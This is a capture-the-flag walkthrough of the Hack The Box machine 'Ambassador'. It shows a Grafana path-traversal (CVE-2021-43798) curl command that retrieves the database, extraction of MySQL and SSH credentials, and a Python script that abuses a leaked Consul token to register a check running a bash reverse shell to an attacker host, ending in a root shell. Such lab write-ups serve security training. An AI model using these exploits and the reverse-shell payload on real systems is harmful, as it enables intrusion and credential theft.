The box Ambassador was a fun and challenging exercise that involved several steps. It required basic enumeration to identify vulnerabilities, searching for CVEs to exploit, and using the information gathered to gain access to the target machine. The process included retrieving credentials to gain further access and eventually obtaining the credentials for a user to SSH into the machine. Finally, using the git feature to view commits, a token was obtained which was then used to exploit the Consul program to gain root access.
Recon
nmap (TCP all ports)
nmap
finds four open TCP ports, SSH (22), HTTP server (80), Grafana (3000) and a mysql DB (3306):
$ nmap -p- 10.129.228.56
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-26 09:48 WET
Nmap scan report for 10.129.228.56
Host is up (0.049s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 31.45 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV -p 22,80,3000,3306
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-26 09:50 WET
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.41 seconds
pengrey@hacky:~/Work/HTB/Machines/Ambassador$ nmap -sC -sV -p 22,80,3000,3306 10.129.228.56
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-26 09:50 WET
Nmap scan report for 10.129.228.56
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Mon, 26 Dec 2022 09:51:31 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Mon, 26 Dec 2022 09:51:00 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Mon, 26 Dec 2022 09:51:05 GMT
|_ Content-Length: 0
3306/tcp open nagios-nsca Nagios NSCA
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 11
| Capabilities flags: 65535
| Some Capabilities: IgnoreSpaceBeforeParenthesis, Support41Auth, ODBCClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, LongPassword, FoundRows, LongColumnFlag, SupportsTransactions, SwitchToSSLAfterHandshake, IgnoreSigpipes, InteractiveClient, Speaks41ProtocolOld, SupportsLoadDataLocal, ConnectWithData
base, SupportsCompression, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: Akkc\x0DNGU\x19"\x0D\x15n'T c`U+
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.20 seconds
$
Grafana - TCP 3000
Enumeration
Retrieve version
We can retrieve the version of Grafana being used by checking through the requests being made when we land on the service being run on port 3000:
{"id":"help","text":"Help","subTitle":"Grafana v8.2.0 (d7f71e9eae)","icon":"question-circle","url":"#","sortWeight":-1200,"hideFromMenu":true}
CVE-2021-43798
We can look for possible CVEs associated with this version. By doing so we can find the following:
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is:
<grafana_host_url>/public/plugins//
, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.
Path Traversal
Retrieve Grafana DB
The path traversal vulnerability enables us to access files on the host of the Grafana service. After enumerating the files present, we can retrieve the Grafana database by doing the following:
$ curl -s --path-as-is http://10.129.228.56:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
$
Retrieve mySQL credentials
The Grafana database is a simple SQLite database. We can query it with the help of the tool sqlite-utils
. With this we can get the credentials for the MySQL database:
$ sqlite-utils query grafana.db "SELECT * FROM data_source" | jq
[
{
"id": 2,
"org_id": 1,
"version": 1,
"type": "mysql",
"name": "mysql.yaml",
"access": "proxy",
"url": "",
"password": "dontStandSoCloseToMe63221!",
"user": "grafana",
"database": "grafana",
"basic_auth": 0,
"basic_auth_user": "",
"basic_auth_password": "",
"is_default": 0,
"json_data": {
"$base64": true,
"encoded": "e30="
},
"created": "2022-09-01 22:43:03",
"updated": "2022-12-26 09:42:42",
"with_credentials": 0,
"secure_json_data": "{}",
"read_only": 1,
"uid": "uKewFgM4z"
}
]
$
Credentials found
grafana:dontStandSoCloseToMe63221!
MYSQL - TCP 3306
Login
With the credentials found, we can try to connect to the MySQL database with the help of the mysql
tool as follows:
$ mysql -h10.129.228.56 -ugrafana -pdontStandSoCloseToMe63221!
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Retrieve credentials
After successfully connecting to the database, we can query it for possible credentials. By checking the tables present we can see that in the users
table for the database whackywidget
, there are some credentials present:
mysql> SHOW databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0,06 sec)
mysql> USE whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> SHOW tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0,05 sec)
mysql> SELECT * FROM users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,05 sec)
mysql>
Decode Credential
The password in the database doesn’t seem to be a digest of the password. If we look closely, we can see that at the end of the string, there are the characters ==
. These are often used as padding for Base64 encoding. We can then decode the password with the help of the tool base64
as follows:
$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468
$
Credentials found
developer:anEnglishManInNewYork027468
Shell as developer
SSH as developer
With the credentials found on the MySQL service, we are able to log in as the user developer
onto the machine through the SSH service:
$ ssh developer@10.129.228.56
The authenticity of host '10.129.228.56 (10.129.228.56)' can't be established.
ED25519 key fingerprint is SHA256:zXkkXkOCX9Wg6pcH1yaG4zCZd5J25Co9TrlNWyChdZk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.228.56' (ED25519) to the list of known hosts.
developer@10.129.228.56's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 26 Dec 2022 10:27:05 AM UTC
System load: 0.0
Usage of /: 80.9% of 5.07GB
Memory usage: 38%
Swap usage: 0%
Processes: 223
Users logged in: 0
IPv4 address for eth0: 10.129.228.56
IPv6 address for eth0: dead:beef::250:56ff:fe96:2d2e
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Sep 2 02:33:30 2022 from 10.10.0.1
developer@ambassador:~$
Shell as Root
my-app directory
Within the directories and the files present on the machine we are able to see that a git repository is present:
developer@ambassador:/opt/my-app$ ll
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 ./
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ../
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git/
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 4 root root 4096 Mar 13 2022 env/
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget/
developer@ambassador:/opt/my-app$
git logs
By this being a git repository, we can try to check the commits made and the history of the app development for possible leads or hard-coded credentials:
developer@ambassador:/opt/my-app$ git log --oneline
33a53ef (HEAD -> main) tidy config script
c982db8 config script
8dce657 created project with django CLI
4b8597b .gitignore
developer@ambassador:/opt/my-app$
Changes made
By checking one of the states present on the history of the app we are presented with the following:
developer@ambassador:/opt/my-app$ git show 33a53ef
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$
Token found
Within the code there was a token for access to the Consul application:
Token:bb03b43b-1d81-d62b-24b5-39540ee469b5
Consul application
The server seems to be running the Consul application.
RCE through the Consul API
By searching on the internet about possible vulnerabilities present we can find this blogpost, we are presented with a way to obtain remote code execution (RCE) via Services API.
Exploit code
We can, with the blog in mind and this Metasploit module, create a script that would allow us to obtain a reverse shell onto the machine:
#!/usr/bin/python3
import requests
LHOST = "IP"
LPORT = "9001"
TOKEN = "bb03b43b-1d81-d62b-24b5-39540ee469b5"
target = f"http://127.0.0.1:8500/v1/agent/service/register"
headers = {"X-Consul-Token": f"{TOKEN}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "pengrey", "Name": "pengrey", "Port": 80}
requests.put(target, headers=headers, json=json, verify=False)
RCE through the Consul API
Finally we can execute the custom script:
developer@ambassador:/tmp$ python3 exploit.py
developer@ambassador:/tmp$
```bash
And by listening on the specified port we can obtain a shell as root:
```bash
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.228.56 40012
bash: cannot set terminal process group (27250): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ambassador:/#